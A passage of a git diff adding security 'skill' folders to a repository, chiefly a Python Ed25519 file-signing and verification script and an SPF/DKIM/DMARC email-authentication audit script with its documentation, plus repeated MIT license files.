`public_key.verify(signature, data)` | Verify signature | +| `load_pem_private_key(data, password)` | Load PEM key | + +## Output Schema + +```json +{ + "verifications": [{"file": "release.tar.gz", "valid": true}], + "valid": 3, "invalid": 0 +} +``` diff --git a/skills/implementing-digital-signatures-with-ed25519/scripts/agent.py b/skills/implementing-digital-signatures-with-ed25519/scripts/agent.py new file mode 100644 index 00000000..e4fe58c5 --- /dev/null +++ b/skills/implementing-digital-signatures-with-ed25519/scripts/agent.py @@ -0,0 +1,152 @@ +#!/usr/bin/env python3 +"""Ed25519 digital signature agent using the cryptography library.""" + +import argparse +import base64 +import hashlib +import json +import logging +import os +import sys +from datetime import datetime +from typing import Dict, List + +try: + from cryptography.hazmat.primitives.asymmetric.ed25519 import ( + Ed25519PrivateKey, Ed25519PublicKey) + from cryptography.hazmat.primitives import serialization + from cryptography.exceptions import InvalidSignature +except ImportError: + sys.exit("cryptography required: pip install cryptography") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def generate_keypair(output_dir: str, key_name: str = "ed25519") -> dict: + """Generate Ed25519 keypair and save to PEM files.""" + private_key = Ed25519PrivateKey.generate() + priv_pem = private_key.private_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PrivateFormat.PKCS8, + encryption_algorithm=serialization.NoEncryption()) + pub_pem = private_key.public_key().public_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PublicFormat.SubjectPublicKeyInfo) + priv_path = os.path.join(output_dir, f"{key_name}_private.pem") + pub_path = os.path.join(output_dir, f"{key_name}_public.pem") + with open(priv_path, "wb") as f: + f.write(priv_pem) + with open(pub_path, "wb") as f: + f.write(pub_pem) + logger.info("Keypair saved: %s, %s", priv_path, pub_path) + return {"private_key_path": priv_path, "public_key_path": pub_path} + + +def load_private_key(path: str) -> Ed25519PrivateKey: + """Load Ed25519 private key from PEM file.""" + with open(path, "rb") as f: + return serialization.load_pem_private_key(f.read(), password=None) + + +def load_public_key(path: str) -> Ed25519PublicKey: + """Load Ed25519 public key from PEM file.""" + with open(path, "rb") as f: + return serialization.load_pem_public_key(f.read()) + + +def sign_message(private_key_path: str, message: bytes) -> dict: + """Sign a message with Ed25519 private key.""" + key = load_private_key(private_key_path) + signature = key.sign(message) + return { + "signature_b64": base64.b64encode(signature).decode(), + "signature_hex": signature.hex(), + "message_hash": hashlib.sha256(message).hexdigest(), + "signature_bytes": len(signature), + } + + +def sign_file(private_key_path: str, file_path: str) -> dict: + """Sign a file with Ed25519 and write signature to .sig file.""" + with open(file_path, "rb") as f: + data = f.read() + result = sign_message(private_key_path, data) + sig_path = file_path + ".ed25519.sig" + with open(sig_path, "w") as f: + json.dump({"signature": result["signature_b64"], + "file_hash": result["message_hash"], + "algorithm": "Ed25519", + "signed_at": datetime.utcnow().isoformat()}, f, indent=2) + result["signature_file"] = sig_path + return result + + +def verify_message(public_key_path: str, message: bytes, signature_b64: str) -> dict: + """Verify an Ed25519 signature on a message.""" + key = load_public_key(public_key_path) + signature = base64.b64decode(signature_b64) + try: + key.verify(signature, message) + return {"valid": True, "algorithm": "Ed25519"} + except InvalidSignature: + return {"valid": False, "error": "Signature verification failed"} + + +def verify_file(public_key_path: str, file_path: str, sig_path: str) -> dict: + """Verify a file's Ed25519 signature.""" + with open(file_path, "rb") as f: + data = f.read() + with open(sig_path) as f: + sig_data = json.load(f) + result = verify_message(public_key_path, data, sig_data["signature"]) + result["file"] = file_path + result["file_hash"] = hashlib.sha256(data).hexdigest() + result["hash_matches"] = result["file_hash"] == sig_data.get("file_hash", "") + return result + + +def batch_verify(public_key_path: str, files: List[str]) -> List[dict]: + """Verify signatures for multiple files.""" + results = [] + for file_path in files: + sig_path = file_path + ".ed25519.sig" + if os.path.isfile(sig_path): + results.append(verify_file(public_key_path, file_path, sig_path)) + else: + results.append({"file": file_path, "valid": False, "error": "No signature file"}) + return results + + +def main(): + parser = argparse.ArgumentParser(description="Ed25519 Digital Signature Agent") + parser.add_argument("--generate-keys", action="store_true") + parser.add_argument("--sign", help="File to sign") + parser.add_argument("--verify", nargs="+", help="Files to verify") + parser.add_argument("--private-key", help="Private key PEM path") + parser.add_argument("--public-key", help="Public key PEM path") + parser.add_argument("--output-dir", default=".") + parser.add_argument("--output", default="signature_report.json") + args = parser.parse_args() + + os.makedirs(args.output_dir, exist_ok=True) + + if args.generate_keys: + result = generate_keypair(args.output_dir) + print(json.dumps(result, indent=2)) + elif args.sign and args.private_key: + result = sign_file(args.private_key, args.sign) + print(json.dumps(result, indent=2)) + elif args.verify and args.public_key: + results = batch_verify(args.public_key, args.verify) + report = {"verifications": results, + "valid": sum(1 for r in results if r.get("valid")), + "invalid": sum(1 for r in results if not r.get("valid"))} + out_path = os.path.join(args.output_dir, args.output) + with open(out_path, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-disk-encryption-with-bitlocker/LICENSE b/skills/implementing-disk-encryption-with-bitlocker/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-disk-encryption-with-bitlocker/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-dmarc-dkim-spf-email-security/LICENSE b/skills/implementing-dmarc-dkim-spf-email-security/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-dmarc-dkim-spf-email-security/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-dragos-platform-for-ot-monitoring/LICENSE b/skills/implementing-dragos-platform-for-ot-monitoring/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-dragos-platform-for-ot-monitoring/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-email-sandboxing-with-proofpoint/LICENSE b/skills/implementing-email-sandboxing-with-proofpoint/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-email-sandboxing-with-proofpoint/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-email-security-with-dmarc-dkim-spf/LICENSE b/skills/implementing-email-security-with-dmarc-dkim-spf/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-email-security-with-dmarc-dkim-spf/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-email-security-with-dmarc-dkim-spf/SKILL.md b/skills/implementing-email-security-with-dmarc-dkim-spf/SKILL.md new file mode 100644 index 00000000..0a4bbb7b --- /dev/null +++ b/skills/implementing-email-security-with-dmarc-dkim-spf/SKILL.md @@ -0,0 +1,35 @@ +--- +name: implementing-email-security-with-dmarc-dkim-spf +description: >- + Audit and validate email authentication configurations by checking SPF, DKIM, + and DMARC DNS records for a domain. Uses dnspython to query TXT records, + validates SPF syntax and lookup counts, verifies DKIM selector records, + parses DMARC policies, and identifies misconfigurations that enable email + spoofing. Generates remediation recommendations. +--- + +## Instructions + +1. Install dependencies: `pip install dnspython checkdmarc` +2. Provide target domain(s) to audit. +3. Run the agent to check email security: + - Query and validate SPF records (syntax, mechanism count, includes, redirect) + - Check DKIM records for common selectors (google, default, selector1, selector2) + - Parse DMARC records (policy, subdomain policy, reporting URIs, alignment) + - Identify misconfigurations enabling spoofing + - Generate remediation recommendations + +```bash +python scripts/agent.py --domain example.com --output email_security_report.json +``` + +## Examples + +### Email Security Audit Result +``` +Domain: example.com +SPF: v=spf1 include:_spf.google.com ~all (WARN: softfail allows spoofing) +DKIM: selector1 OK, selector2 OK +DMARC: v=DMARC1; p=none; rua=mailto:dmarc@example.com (WARN: policy=none, no enforcement) +Risk: HIGH - p=none with ~all allows email spoofing +``` diff --git a/skills/implementing-email-security-with-dmarc-dkim-spf/references/api-reference.md b/skills/implementing-email-security-with-dmarc-dkim-spf/references/api-reference.md new file mode 100644 index 00000000..c308ed73 --- /dev/null +++ b/skills/implementing-email-security-with-dmarc-dkim-spf/references/api-reference.md @@ -0,0 +1,75 @@ +# API Reference: Email Security (SPF/DKIM/DMARC) + +## dnspython TXT Query +```python +import dns.resolver +answers = dns.resolver.resolve("example.com", "TXT") +for rdata in answers: + txt = b"".join(rdata.strings).decode("utf-8") +``` + +## SPF Record Format +``` +v=spf1 [mechanisms] [qualifier]all +``` +| Mechanism | Example | Description | +|-----------|---------|-------------| +| `include:` | `include:_spf.google.com` | Include other SPF record | +| `ip4:` | `ip4:203.0.113.0/24` | Allow IPv4 range | +| `ip6:` | `ip6:2001:db8::/32` | Allow IPv6 range | +| `a:` | `a:mail.example.com` | Allow A record IP | +| `mx:` | `mx:example.com` | Allow MX record IPs | +| `redirect=` | `redirect=_spf.example.com` | Redirect to another SPF | + +| Qualifier | Meaning | Effect | +|-----------|---------|--------| +| `-all` | Fail | Reject unauthorized senders | +| `~all` | Softfail | Accept but mark | +| `?all` | Neutral | No policy | +| `+all` | Pass | Allow all (insecure) | + +**Limit**: Max 10 DNS lookups (includes, a, mx, ptr, exists, redirect). + +## DKIM Record Query +``` +{selector}._domainkey.{domain} TXT +``` +``` +v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQEB... +``` +| Tag | Description | +|-----|-------------| +| `v` | Version (DKIM1) | +| `k` | Key type (rsa, ed25519) | +| `p` | Public key (Base64) | +| `t` | Flags (y=testing, s=strict) | + +Common selectors: `google`, `default`, `selector1`, `selector2`, `k1`, `mail`, `dkim`, `s1`, `s2`, `mandrill`, `smtpapi` + +## DMARC Record Query +``` +_dmarc.{domain} TXT +``` +``` +v=DMARC1; p=reject; rua=mailto:dmarc@example.com; pct=100 +``` +| Tag | Values | Description | +|-----|--------|-------------| +| `p` | none/quarantine/reject | Policy for domain | +| `sp` | none/quarantine/reject | Subdomain policy | +| `pct` | 0-100 | Percentage of messages to apply policy | +| `rua` | mailto:URI | Aggregate report destination | +| `ruf` | mailto:URI | Forensic report destination | +| `adkim` | r/s | DKIM alignment (relaxed/strict) | +| `aspf` | r/s | SPF alignment (relaxed/strict) | + +## Risk Scoring +| Condition | Score | +|-----------|-------| +| No SPF record | +40 critical | +| SPF +all | +40 critical | +| SPF ~all | +10 medium | +| No DKIM | +25 high | +| No DMARC | +40 critical | +| DMARC p=none | +25 high | +| DMARC pct < 100 | +10 medium | diff --git a/skills/implementing-email-security-with-dmarc-dkim-spf/scripts/agent.py b/skills/implementing-email-security-with-dmarc-dkim-spf/scripts/agent.py new file mode 100644 index 00000000..cd3cecec --- /dev/null +++ b/skills/implementing-email-security-with-dmarc-dkim-spf/scripts/agent.py @@ -0,0 +1,264 @@ +#!/usr/bin/env python3 +"""Email Security Audit Agent - Validates SPF, DKIM, and DMARC DNS records for domains.""" + +import json +import re +import logging +import argparse +from datetime import datetime + +import dns.resolver + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +DKIM_SELECTORS = [ + "default", "google", "selector1", "selector2", "k1", "k2", + "mail", "dkim", "s1", "s2", "mandrill", "everlytickey1", + "smtpapi", "pic", "protonmail", "protonmail2", "protonmail3", +] + + +def query_txt_records(domain, prefix=""): + """Query TXT DNS records for a domain.""" + fqdn = f"{prefix}.{domain}" if prefix else domain + try: + answers = dns.resolver.resolve(fqdn, "TXT") + records = [] + for rdata in answers: + txt = b"".join(rdata.strings).decode("utf-8", errors="ignore") + records.append(txt) + return records + except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer, dns.resolver.NoNameservers, dns.exception.Timeout): + return [] + + +def check_spf(domain): + """Check and validate SPF record.""" + records = query_txt_records(domain) + spf_records = [r for r in records if r.startswith("v=spf1")] + + if not spf_records: + return {"status": "missing", "severity": "critical", "issues": ["No SPF record found"], "record": None} + + if len(spf_records) > 1: + issues = ["Multiple SPF records found (RFC violation, causes permerror)"] + else: + issues = [] + + spf = spf_records[0] + mechanisms = spf.split() + include_count = sum(1 for m in mechanisms if m.startswith("include:")) + has_all = any(m in ("~all", "-all", "+all", "?all") for m in mechanisms) + + if "+all" in mechanisms: + issues.append("SPF uses +all (allows any sender - completely open)") + severity = "critical" + elif "?all" in mechanisms: + issues.append("SPF uses ?all (neutral - no protection)") + severity = "high" + elif "~all" in mechanisms: + issues.append("SPF uses ~all (softfail - mail accepted but marked)") + severity = "medium" + elif "-all" in mechanisms: + severity = "low" + elif not has_all: + issues.append("SPF record missing -all qualifier") + severity = "high" + else: + severity = "low" + + if include_count > 10: + issues.append(f"SPF has {include_count} includes (>10 DNS lookups causes permerror)") + severity = "high" + + lookup_mechanisms = sum(1 for m in mechanisms if any(m.startswith(p) for p in ("include:", "a:", "mx:", "ptr:", "exists:", "redirect="))) + if lookup_mechanisms > 10: + issues.append(f"SPF exceeds 10 DNS lookup limit ({lookup_mechanisms} lookups)") + + return { + "status": "found", + "record": spf, + "mechanism_count": len(mechanisms), + "include_count": include_count, + "dns_lookups": lookup_mechanisms, + "qualifier": next((m for m in mechanisms if m.endswith("all")), "none"), + "severity": severity, + "issues": issues, + } + + +def check_dkim(domain, selectors=None): + """Check DKIM records for common selectors.""" + if selectors is None: + selectors = DKIM_SELECTORS + + found_selectors = [] + for selector in selectors: + records = query_txt_records(domain, prefix=f"{selector}._domainkey") + dkim_records = [r for r in records if "v=DKIM1" in r or "k=rsa" in r or "p=" in r] + if dkim_records: + record = dkim_records[0] + key_match = re.search(r"p=([A-Za-z0-9+/=]+)", record) + key_length = len(key_match.group(1)) * 6 // 8 if key_match else 0 + issues = [] + if key_length and key_length < 128: + issues.append(f"DKIM key too short ({key_length} bytes, minimum 1024 bits recommended)") + if "p=" in record and not key_match: + issues.append("DKIM public key appears empty (revoked)") + found_selectors.append({ + "selector": selector, + "record": record[:200], + "key_size_bytes": key_length, + "issues": issues, + }) + + if not found_selectors: + return { + "status": "not_found", + "severity": "high", + "issues": ["No DKIM records found for any common selector"], + "selectors_checked": len(selectors), + "selectors_found": [], + } + + return { + "status": "found", + "severity": "low", + "selectors_checked": len(selectors), + "selectors_found": found_selectors, + "issues": [i for s in found_selectors for i in s["issues"]], + } + + +def check_dmarc(domain): + """Check and validate DMARC record.""" + records = query_txt_records(domain, prefix="_dmarc") + dmarc_records = [r for r in records if r.startswith("v=DMARC1")] + + if not dmarc_records: + return {"status": "missing", "severity": "critical", "issues": ["No DMARC record found"], "record": None} + + dmarc = dmarc_records[0] + tags = {} + for part in dmarc.split(";"): + part = part.strip() + if "=" in part: + key, val = part.split("=", 1) + tags[key.strip()] = val.strip() + + issues = [] + policy = tags.get("p", "none") + subdomain_policy = tags.get("sp", policy) + pct = int(tags.get("pct", "100")) + rua = tags.get("rua", "") + ruf = tags.get("ruf", "") + adkim = tags.get("adkim", "r") + aspf = tags.get("aspf", "r") + + if policy == "none": + issues.append("DMARC policy is 'none' - no enforcement (monitoring only)") + severity = "high" + elif policy == "quarantine": + severity = "medium" if pct < 100 else "low" + if pct < 100: + issues.append(f"DMARC only applied to {pct}% of messages") + elif policy == "reject": + severity = "low" + if pct < 100: + issues.append(f"DMARC reject only applied to {pct}% of messages") + severity = "medium" + else: + severity = "high" + issues.append(f"Unknown DMARC policy: {policy}") + + if not rua: + issues.append("No aggregate report URI (rua) configured") + if not ruf: + issues.append("No forensic report URI (ruf) configured") + if adkim == "r": + issues.append("DKIM alignment is relaxed (adkim=r)") + if aspf == "r": + issues.append("SPF alignment is relaxed (aspf=r)") + + return { + "status": "found", + "record": dmarc, + "policy": policy, + "subdomain_policy": subdomain_policy, + "percentage": pct, + "aggregate_report": rua, + "forensic_report": ruf, + "dkim_alignment": adkim, + "spf_alignment": aspf, + "severity": severity, + "issues": issues, + } + + +def compute_risk_score(spf, dkim, dmarc): + """Compute overall email security risk score.""" + severity_scores = {"critical": 40, "high": 25, "medium": 10, "low": 0} + score = 0 + score += severity_scores.get(spf["severity"], 0) + score += severity_scores.get(dkim["severity"], 0) + score += severity_scores.get(dmarc["severity"], 0) + + if spf["status"] == "missing": + score += 20 + if dmarc.get("policy") == "none": + score += 15 + + if score >= 60: + risk = "CRITICAL" + elif score >= 35: + risk = "HIGH" + elif score >= 15: + risk = "MEDIUM" + else: + risk = "LOW" + return {"score": score, "risk_level": risk} + + +def generate_report(domain, spf, dkim, dmarc, risk): + """Generate email security audit report.""" + all_issues = spf.get("issues", []) + dkim.get("issues", []) + dmarc.get("issues", []) + report = { + "timestamp": datetime.utcnow().isoformat(), + "domain": domain, + "risk_assessment": risk, + "spf": spf, + "dkim": dkim, + "dmarc": dmarc, + "total_issues": len(all_issues), + "all_issues": all_issues, + } + print(f"EMAIL SECURITY [{domain}]: Risk={risk['risk_level']} Score={risk['score']} Issues={len(all_issues)}") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Email Security Audit Agent (SPF/DKIM/DMARC)") + parser.add_argument("--domain", required=True, help="Domain to audit") + parser.add_argument("--dkim-selectors", nargs="*", help="Custom DKIM selectors to check") + parser.add_argument("--output", default="email_security_report.json") + args = parser.parse_args() + + spf = check_spf(args.domain) + logger.info("SPF: %s (severity: %s)", spf["status"], spf["severity"]) + + dkim = check_dkim(args.domain, args.dkim_selectors) + logger.info("DKIM: %s (%d selectors found)", dkim["status"], len(dkim.get("selectors_found", []))) + + dmarc = check_dmarc(args.domain) + logger.info("DMARC: %s (severity: %s)", dmarc["status"], dmarc["severity"]) + + risk = compute_risk_score(spf, dkim, dmarc) + report = generate_report(args.domain, spf, dkim, dmarc, risk) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-end-to-end-encryption-for-messaging/LICENSE b/skills/implementing-end-to-end-encryption-for-messaging/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-end-to-end-encryption-for-messaging/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-endpoint-dlp-controls/LICENSE b/skills/implementing-endpoint-dlp-controls/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-endpoint-dlp-controls/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-envelope-encryption-with-aws-kms/LICENSE b/skills/implementing-envelope-encryption-with-aws-kms/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-envelope-encryption-with-aws-kms/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-epss-score-for-vulnerability-prioritization/LICENSE b/skills/implementing-epss-score-for-vulnerability-prioritization/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-epss-score-for-vulnerability-prioritization/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/LICENSE b/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-gcp-binary-authorization/LICENSE b/skills/implementing-gcp-binary-authorization/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-gcp-binary-authorization/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, 